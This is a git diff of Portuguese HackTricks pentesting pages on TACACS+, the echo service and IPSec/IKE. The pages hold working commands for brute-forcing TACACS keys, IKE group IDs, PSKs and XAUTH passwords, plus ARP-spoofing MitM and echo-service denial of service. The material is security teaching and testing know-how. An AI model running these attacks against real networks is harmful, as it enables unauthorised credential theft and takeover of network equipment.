O protocolo **Terminal Access Controller Access Control System (TACACS)** é usado para validar centralmente usuários que tentam acessar roteadores ou Servidores de Acesso à Rede (NAS). Sua versão atualizada, **TACACS+**, separa os serviços em autenticação, autorização e contabilidade (AAA).
|
O protocolo **Terminal Access Controller Access Control System (TACACS)** é usado para validar centralmente usuários que tentam acessar roteadores ou Servidores de Acesso à Rede (NAS). Sua versão atualizada, **TACACS+**, separa os serviços em autenticação, autorização e contabilidade (AAA).
|
||||||
```
|
```
|
||||||
|
@ -37,7 +13,7 @@ Se a comunicação entre o cliente e o servidor TACACS for interceptada por um a
|
||||||
|
|
||||||
### Realizando um Ataque Man-in-the-Middle (MitM)
|
### Realizando um Ataque Man-in-the-Middle (MitM)
|
||||||
|
|
||||||
Um **ataque de spoofing ARP pode ser utilizado para realizar um ataque Man-in-the-Middle (MitM)**.
|
Um **ataque de ARP spoofing pode ser utilizado para realizar um ataque Man-in-the-Middle (MitM)**.
|
||||||
|
|
||||||
### Força Bruta na Chave
|
### Força Bruta na Chave
|
||||||
|
|
||||||
|
@ -45,10 +21,10 @@ O [Loki](https://c0decafe.de/svn/codename\_loki/trunk/) pode ser usado para for
|
||||||
```
|
```
|
||||||
sudo loki_gtk.py
|
sudo loki_gtk.py
|
||||||
```
|
```
|
||||||
Se a chave for **quebrada com sucesso** (**geralmente no formato criptografado MD5)**, **podemos acessar o equipamento e descriptografar o tráfego criptografado do TACACS.**
|
Se a chave for **quebrada com sucesso** (**geralmente no formato criptografado MD5)**, **podemos acessar o equipamento e descriptografar o tráfego criptografado TACACS**.
|
||||||
|
|
||||||
### Descriptografando o Tráfego
|
### Descriptografando o Tráfego
|
||||||
Uma vez que a chave é quebrada com sucesso, o próximo passo é **descriptografar o tráfego criptografado do TACACS**. O Wireshark pode lidar com o tráfego TACACS criptografado se a chave for fornecida. Ao analisar o tráfego descriptografado, informações como o **banner usado e o nome de usuário do usuário admin** podem ser obtidos.
|
Uma vez que a chave é quebrada com sucesso, o próximo passo é **descriptografar o tráfego criptografado TACACS**. O Wireshark pode lidar com o tráfego TACACS criptografado se a chave for fornecida. Ao analisar o tráfego descriptografado, informações como o **banner usado e o nome de usuário do usuário admin** podem ser obtidas.
|
||||||
|
|
||||||
Ao obter acesso ao painel de controle do equipamento de rede usando as credenciais obtidas, o atacante pode exercer controle sobre a rede. É importante observar que essas ações são estritamente para fins educacionais e não devem ser usadas sem autorização adequada.
|
Ao obter acesso ao painel de controle do equipamento de rede usando as credenciais obtidas, o atacante pode exercer controle sobre a rede. É importante observar que essas ações são estritamente para fins educacionais e não devem ser usadas sem autorização adequada.
|
||||||
|
|
||||||
|
@ -58,7 +34,7 @@ Ao obter acesso ao painel de controle do equipamento de rede usando as credencia
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -69,9 +45,9 @@ Ao obter acesso ao painel de controle do equipamento de rede usando as credencia
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou nos siga no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -4,7 +4,7 @@
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
@ -14,15 +14,16 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
**Grupo de Segurança Try Hard**
|
**Grupo de Segurança Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
***
|
***
|
||||||
|
|
||||||
|
|
||||||
# Informações Básicas
|
# Informações Básicas
|
||||||
|
|
||||||
Um serviço de eco está em execução neste host. O serviço de eco foi destinado para fins de teste e medição e pode escutar nos protocolos TCP e UDP. O servidor envia de volta qualquer dado que recebe, sem modificação.\
|
Um serviço de eco está em execução neste host. O serviço de eco foi destinado para fins de teste e medição e pode ouvir nos protocolos TCP e UDP. O servidor envia de volta qualquer dado que recebe, sem modificação.\
|
||||||
**É possível causar uma negação de serviço conectando um serviço de eco ao serviço de eco na mesma ou em outra máquina**. Devido ao número excessivamente alto de pacotes produzidos, as máquinas afetadas podem ser efetivamente retiradas de serviço.\
|
**É possível causar uma negação de serviço conectando um serviço de eco ao serviço de eco na mesma ou em outra máquina**. Devido ao número excessivamente alto de pacotes produzidos, as máquinas afetadas podem ser efetivamente retiradas de serviço.\
|
||||||
Informações de [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
|
Informações de [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
|
||||||
|
|
||||||
|
@ -40,18 +41,18 @@ Hello echo #This is the response
|
||||||
```
|
```
|
||||||
## Shodan
|
## Shodan
|
||||||
|
|
||||||
* `porta:7 echo`
|
* `port:7 echo`
|
||||||
|
|
||||||
## Referências
|
## Referências
|
||||||
|
|
||||||
[Wikipedia echo](http://en.wikipedia.org/wiki/ECHO\_protocol)
|
[Wikipedia echo](http://en.wikipedia.org/wiki/ECHO\_protocol)
|
||||||
|
|
||||||
[CA-1996-01 Ataque de Negação de Serviço à Porta UDP](http://www.cert.org/advisories/CA-1996-01.html)
|
[CA-1996-01 Ataque de Negação de Serviço de Porta UDP](http://www.cert.org/advisories/CA-1996-01.html)
|
||||||
|
|
||||||
|
|
||||||
**Grupo de Segurança Try Hard**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -62,9 +63,9 @@ Hello echo #This is the response
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -10,13 +10,13 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
**Grupo de Segurança Try Hard**
|
**Grupo de Segurança Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -29,9 +29,8 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
O estabelecimento de uma **associação de segurança (SA)** entre dois pontos é gerenciado pelo **IKE**, que opera sob o guarda-chuva do ISAKMP, um protocolo projetado para autenticação e troca de chaves. Esse processo se desenrola em várias fases:
|
O estabelecimento de uma **associação de segurança (SA)** entre dois pontos é gerenciado pelo **IKE**, que opera sob o guarda-chuva do ISAKMP, um protocolo projetado para autenticação e troca de chaves. Esse processo se desenrola em várias fases:
|
||||||
|
|
||||||
- **Fase 1:** Um canal seguro é criado entre dois pontos. Isso é alcançado por meio do uso de uma Chave Pré-Compartilhada (PSK) ou certificados, empregando o modo principal, que envolve três pares de mensagens, ou **modo agressivo**.
|
- **Fase 1:** Um canal seguro é criado entre dois pontos. Isso é alcançado por meio do uso de uma Chave Pré-Compartilhada (PSK) ou certificados, empregando o modo principal, que envolve três pares de mensagens, ou **modo agressivo**.
|
||||||
- **Fase 1.5:** Embora não seja obrigatória, esta fase, conhecida como Fase de Autenticação Estendida, verifica a identidade do usuário que está tentando se conectar, exigindo um nome de usuário e senha.
|
- **Fase 1.5:** Embora não seja obrigatória, esta fase, conhecida como Fase de Autenticação Estendida, verifica a identidade do usuário que tenta se conectar, exigindo um nome de usuário e senha.
|
||||||
- **Fase 2:** Esta fase é dedicada a negociar os parâmetros para garantir a segurança dos dados com **ESP** e **AH**. Isso permite o uso de algoritmos diferentes dos da Fase 1 para garantir **Sigilo Perfeito para Frente (PFS)**, aumentando a segurança.
|
- **Fase 2:** Esta fase é dedicada a negociar os parâmetros para garantir a segurança dos dados com **ESP** e **AH**. Permite o uso de algoritmos diferentes dos da Fase 1 para garantir **Sigilo Perfeito para Frente (PFS)**, aumentando a segurança.
|
||||||
|
|
||||||
|
|
||||||
**Porta padrão:** 500/udp
|
**Porta padrão:** 500/udp
|
||||||
|
|
||||||
|
@ -47,7 +46,7 @@ MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
|
||||||
```
|
```
|
||||||
## **Encontrar uma transformação válida**
|
## **Encontrar uma transformação válida**
|
||||||
|
|
||||||
A configuração do IPSec pode ser preparada para aceitar apenas uma ou algumas transformações. Uma transformação é uma combinação de valores. **Cada transformação** contém um número de atributos como DES ou 3DES como o **algoritmo de criptografia**, SHA ou MD5 como o **algoritmo de integridade**, uma chave pré-compartilhada como o tipo de **autenticação**, Diffie-Hellman 1 ou 2 como o algoritmo de **distribuição de chaves** e 28800 segundos como o **tempo de vida**.
|
A configuração do IPSec pode ser preparada para aceitar apenas uma ou algumas transformações. Uma transformação é uma combinação de valores. **Cada transformação** contém um número de atributos como DES ou 3DES como o algoritmo de **criptografia**, SHA ou MD5 como o algoritmo de **integridade**, uma chave pré-compartilhada como o tipo de **autenticação**, Diffie-Hellman 1 ou 2 como o algoritmo de **distribuição de chaves** e 28800 segundos como o **tempo de vida**.
|
||||||
|
|
||||||
Então, a primeira coisa que você tem que fazer é **encontrar uma transformação válida**, para que o servidor possa se comunicar com você. Para fazer isso, você pode usar a ferramenta **ike-scan**. Por padrão, o Ike-scan funciona no modo principal e envia um pacote para o gateway com um cabeçalho ISAKMP e uma única proposta com **oito transformações dentro dela**.
|
Então, a primeira coisa que você tem que fazer é **encontrar uma transformação válida**, para que o servidor possa se comunicar com você. Para fazer isso, você pode usar a ferramenta **ike-scan**. Por padrão, o Ike-scan funciona no modo principal e envia um pacote para o gateway com um cabeçalho ISAKMP e uma única proposta com **oito transformações dentro dela**.
|
||||||
|
|
||||||
|
@ -91,14 +90,14 @@ Você também poderia tentar forçar transformações com [**ikeforce**](https:/
|
||||||
```
|
```
|
||||||
![](<../.gitbook/assets/image (109).png>)
|
![](<../.gitbook/assets/image (109).png>)
|
||||||
|
|
||||||
No **Grupo DH: 14 = MODP de 2048 bits** e **15 = 3072 bits**\
|
No **Grupo DH: 14 = 2048-bit MODP** e **15 = 3072-bit**\
|
||||||
**2 = HMAC-SHA = SHA1 (neste caso). O formato `--trans` é $Enc,$Hash,$Auth,$DH**
|
**2 = HMAC-SHA = SHA1 (neste caso). O formato `--trans` é $Enc,$Hash,$Auth,$DH**
|
||||||
|
|
||||||
A Cisco indica evitar o uso dos grupos DH 1 e 2 porque não são suficientemente fortes. Especialistas acreditam que **países com muitos recursos podem facilmente quebrar a criptografia** de dados que usam esses grupos fracos. Isso é feito usando um método especial que os prepara para quebrar os códigos rapidamente. Mesmo que custe muito dinheiro para configurar esse método, permite a esses países poderosos ler os dados criptografados em tempo real se estiverem usando um grupo que não seja forte (como 1.024 bits ou menor).
|
A Cisco indica evitar o uso dos grupos DH 1 e 2 porque não são suficientemente fortes. Especialistas acreditam que **países com muitos recursos podem facilmente quebrar a criptografia** de dados que utilizam esses grupos fracos. Isso é feito usando um método especial que os prepara para quebrar os códigos rapidamente. Mesmo que custe muito dinheiro para configurar esse método, permite a esses países poderosos ler os dados criptografados em tempo real se estiverem usando um grupo que não seja forte (como 1.024 bits ou menor).
|
||||||
|
|
||||||
### Fingerprinting do servidor
|
### Fingerprinting do servidor
|
||||||
|
|
||||||
Em seguida, você pode usar o ike-scan para tentar **descobrir o fornecedor** do dispositivo. A ferramenta envia uma proposta inicial e para de retransmitir. Em seguida, ela **analisa** a **diferença de tempo** entre as **mensagens** recebidas do servidor e o padrão de resposta correspondente, o pentester pode identificar com sucesso o fornecedor do gateway VPN. Além disso, alguns servidores VPN usarão o payload opcional **ID do Fornecedor (VID)** com o IKE.
|
Em seguida, você pode usar o ike-scan para tentar **descobrir o fornecedor** do dispositivo. A ferramenta envia uma proposta inicial e para de retransmitir. Em seguida, ela **analisa** a **diferença de tempo** entre as **mensagens** recebidas do servidor e o padrão de resposta correspondente, o pentester pode identificar com sucesso o fornecedor do gateway VPN. Além disso, alguns servidores VPN usarão o payload opcional **Vendor ID (VID)** com o IKE.
|
||||||
|
|
||||||
**Especifique a transformação válida, se necessário** (usando --trans)
|
**Especifique a transformação válida, se necessário** (usando --trans)
|
||||||
|
|
||||||
|
@ -129,9 +128,9 @@ Isso também pode ser alcançado com o script do nmap _**ike-version**_
|
||||||
Para poder capturar o hash, você precisa de uma transformação válida que suporte o Modo Agressivo e o ID correto (nome do grupo). Provavelmente você não saberá o nome do grupo válido, então terá que fazer força bruta.\
|
Para poder capturar o hash, você precisa de uma transformação válida que suporte o Modo Agressivo e o ID correto (nome do grupo). Provavelmente você não saberá o nome do grupo válido, então terá que fazer força bruta.\
|
||||||
Para isso, eu recomendaria 2 métodos:
|
Para isso, eu recomendaria 2 métodos:
|
||||||
|
|
||||||
### Força bruta do ID com o ike-scan
|
### Força bruta do ID com ike-scan
|
||||||
|
|
||||||
Primeiramente, tente fazer uma solicitação com um ID falso para tentar obter o hash ("-P"):
|
Primeiramente, tente fazer uma solicitação com um ID falso tentando obter o hash ("-P"):
|
||||||
```bash
|
```bash
|
||||||
ike-scan -P -M -A -n fakeID <IP>
|
ike-scan -P -M -A -n fakeID <IP>
|
||||||
```
|
```
|
||||||
|
@ -141,7 +140,7 @@ Se **nenhum hash for retornado**, então provavelmente este método de força br
|
||||||
|
|
||||||
Mas como eu disse, se nenhum hash for retornado, então você deve tentar forçar nomes de grupos comuns usando o ike-scan.
|
Mas como eu disse, se nenhum hash for retornado, então você deve tentar forçar nomes de grupos comuns usando o ike-scan.
|
||||||
|
|
||||||
Este script **tentará forçar IDs possíveis** e retornará os IDs onde um handshake válido é retornado (este será um nome de grupo válido).
|
Este script **tentará forçar IDs possíveis** e retornará os IDs onde um handshake válido é retornado (isso será um nome de grupo válido).
|
||||||
|
|
||||||
Se você descobriu uma transformação específica, adicione-a no comando ike-scan. E se você descobriu várias transformações, sinta-se à vontade para adicionar um novo loop para tentar todas elas (você deve tentar todas até que uma delas funcione corretamente).
|
Se você descobriu uma transformação específica, adicione-a no comando ike-scan. E se você descobriu várias transformações, sinta-se à vontade para adicionar um novo loop para tentar todas elas (você deve tentar todas até que uma delas funcione corretamente).
|
||||||
|
|
||||||
|
@ -161,11 +160,11 @@ Por padrão, o **ikeforce** enviará no início alguns IDs aleatórios para veri
|
||||||
|
|
||||||
* O **primeiro método** é fazer força bruta nos nomes de grupo **pesquisando** as informações de **Detecção de Pares Inativos DPD** dos sistemas Cisco (essas informações são apenas respondidas pelo servidor se o nome do grupo estiver correto).
|
* O **primeiro método** é fazer força bruta nos nomes de grupo **pesquisando** as informações de **Detecção de Pares Inativos DPD** dos sistemas Cisco (essas informações são apenas respondidas pelo servidor se o nome do grupo estiver correto).
|
||||||
* O **segundo método** disponível é **verificar o número de respostas enviadas a cada tentativa** porque às vezes mais pacotes são enviados quando o ID correto é usado.
|
* O **segundo método** disponível é **verificar o número de respostas enviadas a cada tentativa** porque às vezes mais pacotes são enviados quando o ID correto é usado.
|
||||||
* O **terceiro método** consiste em **procurar por "INFORMAÇÃO DE ID INVÁLIDO" em resposta a um ID incorreto**.
|
* O **terceiro método** consiste em **procurar por "INFORMAÇÃO DE ID INVÁLIDO" em resposta ao ID incorreto**.
|
||||||
* Por fim, se o servidor não responder a nada às verificações, o **ikeforce** tentará fazer força bruta no servidor e verificar se, quando o ID correto é enviado, o servidor responde com algum pacote.\
|
* Por fim, se o servidor não responder a nada às verificações, o **ikeforce** tentará fazer força bruta no servidor e verificar se, quando o ID correto é enviado, o servidor responde com algum pacote.\
|
||||||
Obviamente, o objetivo de fazer força bruta no ID é obter o **PSK** quando você tem um ID válido. Em seguida, com o **ID** e o **PSK**, você terá que fazer força bruta no XAUTH (se estiver habilitado).
|
Obviamente, o objetivo de fazer força bruta no ID é obter o **PSK** quando você tem um ID válido. Em seguida, com o **ID** e o **PSK**, você terá que fazer força bruta no XAUTH (se estiver habilitado).
|
||||||
|
|
||||||
Se você descobriu uma transformação específica, adicione-a no comando do ikeforce. E se você descobriu várias transformações, sinta-se à vontade para adicionar um novo loop para tentar todas elas (você deve tentar todas até que uma delas funcione corretamente).
|
Se você descobriu uma transformação específica, adicione-a no comando do ikeforce. E se descobriu várias transformações, sinta-se à vontade para adicionar um novo loop para tentar todas elas (você deve tentar todas até que uma delas funcione corretamente).
|
||||||
```bash
|
```bash
|
||||||
git clone https://github.com/SpiderLabs/ikeforce.git
|
git clone https://github.com/SpiderLabs/ikeforce.git
|
||||||
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
|
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
|
||||||
|
@ -174,7 +173,7 @@ pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
|
||||||
```bash
|
```bash
|
||||||
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
|
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
|
||||||
```
|
```
|
||||||
### Sniffing ID
|
### Captura de ID
|
||||||
|
|
||||||
(Do livro **Avaliação de Segurança de Rede: Conheça Sua Rede**): Também é possível obter nomes de usuário válidos ao capturar a conexão entre o cliente VPN e o servidor, já que o primeiro pacote do modo agressivo contendo o ID do cliente é enviado sem criptografia.
|
(Do livro **Avaliação de Segurança de Rede: Conheça Sua Rede**): Também é possível obter nomes de usuário válidos ao capturar a conexão entre o cliente VPN e o servidor, já que o primeiro pacote do modo agressivo contendo o ID do cliente é enviado sem criptografia.
|
||||||
|
|
||||||
|
@ -199,19 +198,19 @@ psk-crack -d <Wordlist_path> psk.txt
|
||||||
Ao migrar para o **IKEv2**, observa-se uma mudança significativa onde o **EAP (Protocolo de Autenticação Extensível)** é utilizado no lugar do **XAuth** com o propósito de autenticar usuários. Essa mudança destaca uma evolução nas práticas de autenticação dentro de protocolos de comunicação seguros.
|
Ao migrar para o **IKEv2**, observa-se uma mudança significativa onde o **EAP (Protocolo de Autenticação Extensível)** é utilizado no lugar do **XAuth** com o propósito de autenticar usuários. Essa mudança destaca uma evolução nas práticas de autenticação dentro de protocolos de comunicação seguros.
|
||||||
|
|
||||||
|
|
||||||
### MitM na rede local para capturar credenciais
|
### Man-in-the-Middle na rede local para capturar credenciais
|
||||||
|
|
||||||
Dessa forma, é possível capturar os dados do login usando o _fiked_ e verificar se há algum nome de usuário padrão (Você precisa redirecionar o tráfego IKE para o `fiked` para sniffing, o que pode ser feito com a ajuda de ARP spoofing, [mais informações](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). O fiked atuará como um ponto final VPN e capturará as credenciais XAuth:
|
Dessa forma, é possível capturar os dados do login usando o _fiked_ e verificar se há algum nome de usuário padrão (Você precisa redirecionar o tráfego IKE para o `fiked` para sniffing, o que pode ser feito com a ajuda de ARP spoofing, [mais informações](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). O fiked atuará como um ponto final VPN e capturará as credenciais XAuth:
|
||||||
```bash
|
```bash
|
||||||
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
|
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
|
||||||
```
|
```
|
||||||
### Ataque de MitM e bloqueio de tráfego na porta 500 usando IPSec
|
### Ataque de MitM e bloqueio de tráfego na porta 500
|
||||||
|
|
||||||
Também, utilizando IPSec, tente realizar um ataque de MitM e bloquear todo o tráfego para a porta 500. Se o túnel IPSec não puder ser estabelecido, talvez o tráfego seja enviado sem criptografia.
|
Também, utilizando IPSec, tente realizar um ataque de MitM e bloquear todo o tráfego para a porta 500. Se o túnel IPSec não puder ser estabelecido, talvez o tráfego seja enviado sem criptografia.
|
||||||
|
|
||||||
### Forçando XAUTH username e senha com ikeforce
|
### Forçando XAUTH com brute force de usuário e senha usando ikeforce
|
||||||
|
|
||||||
Para forçar a **XAUTH** (quando você conhece um nome de grupo válido **id** e o **psk**), você pode usar um nome de usuário ou uma lista de nomes de usuários e uma lista de senhas:
|
Para forçar o **XAUTH** (quando você conhece um nome de grupo válido **id** e o **psk**), você pode usar um nome de usuário ou uma lista de nomes de usuários e uma lista de senhas:
|
||||||
```bash
|
```bash
|
||||||
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
|
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
|
||||||
```
|
```
|
||||||
|
@ -260,7 +259,7 @@ Certifique-se de usar valores reais e seguros para substituir os espaços reserv
|
||||||
|
|
||||||
**Grupo de Segurança Try Hard**
|
**Grupo de Segurança Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -270,10 +269,10 @@ Certifique-se de usar valores reais e seguros para substituir os espaços reserv
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou nos siga no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
